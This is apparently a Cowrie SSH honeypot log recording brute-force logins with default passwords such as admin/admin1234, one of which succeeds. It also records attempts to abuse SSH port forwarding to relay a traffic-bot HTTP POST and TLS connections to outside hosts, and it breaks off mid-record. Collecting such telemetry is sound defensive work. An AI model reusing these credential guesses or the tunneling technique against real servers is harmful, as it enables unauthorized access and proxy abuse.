{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23516,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aeed589958b","protocol":"ssh","message":"New connection: 45.153.34.195:23516 (10.17.0.5:22) [session: 4aeed589958b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:27.931367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:27.945636Z","src_ip":"45.153.34.195","session":"4aeed589958b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:28.022349Z","src_ip":"45.153.34.195","session":"4aeed589958b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backend","password":"backend","message":"login attempt [backend/backend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:28.339181Z","src_ip":"45.153.34.195","session":"4aeed589958b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:28.566579Z","src_ip":"91.92.40.36","session":"45bea7d359d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:28.571612Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:29.423866Z","src_ip":"45.153.34.195","session":"4aeed589958b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":23518,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f301eb9a86e","protocol":"ssh","message":"New connection: 45.153.34.195:23518 (10.17.0.5:22) [session: 8f301eb9a86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:30.730495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:30.940470Z","src_ip":"45.153.34.195","session":"8f301eb9a86e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:30.943633Z","src_ip":"45.153.34.195","session":"8f301eb9a86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:31.547894Z","src_ip":"45.153.34.195","session":"8f301eb9a86e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.502840Z","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.506385Z","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.536976Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MatePad 10.8 Wi-Fi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MDVBPFIqcVMrVyFPWi9NRA%3D%3DhzWlGNGyYe5v81TIJhEpp20pyrtYJl0s7WpwahzhEy11l2dpe1ZR4lbTMnUMx2orbMZJehLJb0COpKmLXlnjwcTIk9axZyDhPVj1JEVhfcuEP6fjgMf9JDxFJpvOC%2BiP8tr%2FAUr6fidlSyDKTKgq9bVqqPc9j20%2FeA5zvy6gRito2Ysjx6byKzeVAh7xiF7OYni6PlkCFTEVzaSopECeO%2B3z8zgVHNdmwb9DHjMeUJGheKfQGnWmfmtPeYF5D3FphJD9OuVKUGAN4RNgNIXDH5kon4QDg63xWGRpU2SXOYGKFspb2VWwmMQJT%2FXJaKUq2K7LxyLK20W39tveVJ40cpry%2FU6KA0MtOKlOBily10TTyHOtgLJTEL6WUZgrFZca6iM3HBEdSm45Hy9%2F3AmMSB9JkdyU5M8lVYifRs6J5zkigH%2FmIG8BSBqUxBWeYatn%2BVbF%2FSpQYVFB1UJE5DV8HDqnHHSvfIWUX%2BjxRVAgT%2FT67gbQLJ1bV%2FQcnYZDhsjNsZczJSechWFVwLejPtxl0Bu%2Bh%2FF7sU2zlF%2FWnCk6%2BzFsJbHM%2FH5aYza3JeZvLK6WLuk5L0HVBkVlrgyXv2ldMEyOS9GR5WmjlupwQbumLZrUmhE4eLhyIZys0IvE%2BVkADsYiucmX0cXtUTeX%2FaLsndlDKz83nm7KHuGS7VJJUeeGKGU%2BVwHnyxcqB3XI%2FdDKYPxgVqsZCxQFKSRry3BtCXZQu2aKo4z%2F0%2BHbJ0GM5ISE7%2FsFvQaOVufQcxY8nVtYTcMBWG38x%2BN1xz7CJInuNsyaK833VW5KoTiroHH74NVxGFHSd%2BV%2B%2FC0UFr4LKZa%2FWJx%2FhVSdEaGDaU55aAOSRynBluCrJrWHf6VF1LFHNhy6Vj7k4nJI%2FWJPOwCi8CGc%2Bd37mCulYznvSiT8SfQROpYFYJvZvrrOL1ieOr2Hv8fgcyke07BpE%2BkPOlL4dzHszf8Iaat0mRAaDEjAE8cjGuawbv4rC0xUOQ7h2gOtetfEgriDOyDcQKelgmZbwHyynCvghT1T5pvwTXISBuUbgeLA6cmLq2HJtQmXHWe4cNU%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MatePad 10.8 Wi-Fi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MDVBPFIqcVMrVyFPWi9NRA%3D%3DhzWlGNGyYe5v81TIJhEpp20pyrtYJl0s7WpwahzhEy11l2dpe1ZR4lbTMnUMx2orbMZJehLJb0COpKmLXlnjwcTIk9axZyDhPVj1JEVhfcuEP6fjgMf9JDxFJpvOC%2BiP8tr%2FAUr6fidlSyDKTKgq9bVqqPc9j20%2FeA5zvy6gRito2Ysjx6byKzeVAh7xiF7OYni6PlkCFTEVzaSopECeO%2B3z8zgVHNdmwb9DHjMeUJGheKfQGnWmfmtPeYF5D3FphJD9OuVKUGAN4RNgNIXDH5kon4QDg63xWGRpU2SXOYGKFspb2VWwmMQJT%2FXJaKUq2K7LxyLK20W39tveVJ40cpry%2FU6KA0MtOKlOBily10TTyHOtgLJTEL6WUZgrFZca6iM3HBEdSm45Hy9%2F3AmMSB9JkdyU5M8lVYifRs6J5zkigH%2FmIG8BSBqUxBWeYatn%2BVbF%2FSpQYVFB1UJE5DV8HDqnHHSvfIWUX%2BjxRVAgT%2FT67gbQLJ1bV%2FQcnYZDhsjNsZczJSechWFVwLejPtxl0Bu%2Bh%2FF7sU2zlF%2FWnCk6%2BzFsJbHM%2FH5aYza3JeZvLK6WLuk5L0HVBkVlrgyXv2ldMEyOS9GR5WmjlupwQbumLZrUmhE4eLhyIZys0IvE%2BVkADsYiucmX0cXtUTeX%2FaLsndlDKz83nm7KHuGS7VJJUeeGKGU%2BVwHnyxcqB3XI%2FdDKYPxgVqsZCxQFKSRry3BtCXZQu2aKo4z%2F0%2BHbJ0GM5ISE7%2FsFvQaOVufQcxY8nVtYTcMBWG38x%2BN1xz7CJInuNsyaK833VW5KoTiroHH74NVxGFHSd%2BV%2B%2FC0UFr4LKZa%2FWJx%2FhVSdEaGDaU55aAOSRynBluCrJrWHf6VF1LFHNhy6Vj7k4nJI%2FWJPOwCi8CGc%2Bd37mCulYznvSiT8SfQROpYFYJvZvrrOL1ieOr2Hv8fgcyke07BpE%2BkPOlL4dzHszf8Iaat0mRAaDEjAE8cjGuawbv4rC0xUOQ7h2gOtetfEgriDOyDcQKelgmZbwHyynCvghT1T5pvwTXISBuUbgeLA6cmLq2HJtQmXHWe4cNU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.540775Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.667197Z","src_ip":"45.153.34.195","session":"8f301eb9a86e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.697272Z","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.715689Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037q`->\\x19\\xc3t\\xc9\\x97\\xbf\\x16JdKw\\xc8\\xd0\\xdc\\\\?\\xed\\x89\\x80\\x91\\x95\\xca\\xcde\\xb1\\xdd\\x92 \\xdd\\xb2f\\x83\\x8e\\xb8\\xb5toU\\xcc\\x94\\xce\\x8c\\x85G8\\x864\\xbf\\\\[\\xfa\\x9b,\\xf0\\xab\\x9f_8P\\xcd\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02KG\\xb4:\\x0b\\x8c\\xe8y\\xe3,i\\xa3:G\\x05\\\\%/\\\\\\x02\\x02s\\xfeyg\\x95\\x06\\xb9%\\xa5\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037q`->\\x19\\xc3t\\xc9\\x97\\xbf\\x16JdKw\\xc8\\xd0\\xdc\\\\?\\xed\\x89\\x80\\x91\\x95\\xca\\xcde\\xb1\\xdd\\x92 \\xdd\\xb2f\\x83\\x8e\\xb8\\xb5toU\\xcc\\x94\\xce\\x8c\\x85G8\\x864\\xbf\\\\[\\xfa\\x9b,\\xf0\\xab\\x9f_8P\\xcd\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02KG\\xb4:\\x0b\\x8c\\xe8y\\xe3,i\\xa3:G\\x05\\\\%/\\\\\\x02\\x02s\\xfeyg\\x95\\x06\\xb9%\\xa5\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.741766Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.760621Z","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.797364Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\x94*k*\\xbci\\x91\\xb7\\xbd\\xc7j\\xcb\\xda\\x08\\xb7\\xe2\\x14\\xd0\\x08~v{\\xebq \\xe0\\xc0\\r_\\xa7\\xdf \\x8b\\xfa\\xe6H\\xa7]\\xe0\\xc9P\\xc1\\xf2\\x08\\x87|9\\xfd\\xdc\\xf8\\xd1\\xd4\\xefg\\x9b\\xed\\xe8\\xc1\\xd5_\\x98kD\\x9c\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88R\\x0f>\\xd2\\xbf\\xcaY]e\\x8c\\xa7\\x12\\\\\\xe1\\xc8n\\xc0\\x089\\xd4\\x90\\x0b\\x14]\\xb3,\\xc3g\\x1d\\xd4S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\x94*k*\\xbci\\x91\\xb7\\xbd\\xc7j\\xcb\\xda\\x08\\xb7\\xe2\\x14\\xd0\\x08~v{\\xebq \\xe0\\xc0\\r_\\xa7\\xdf 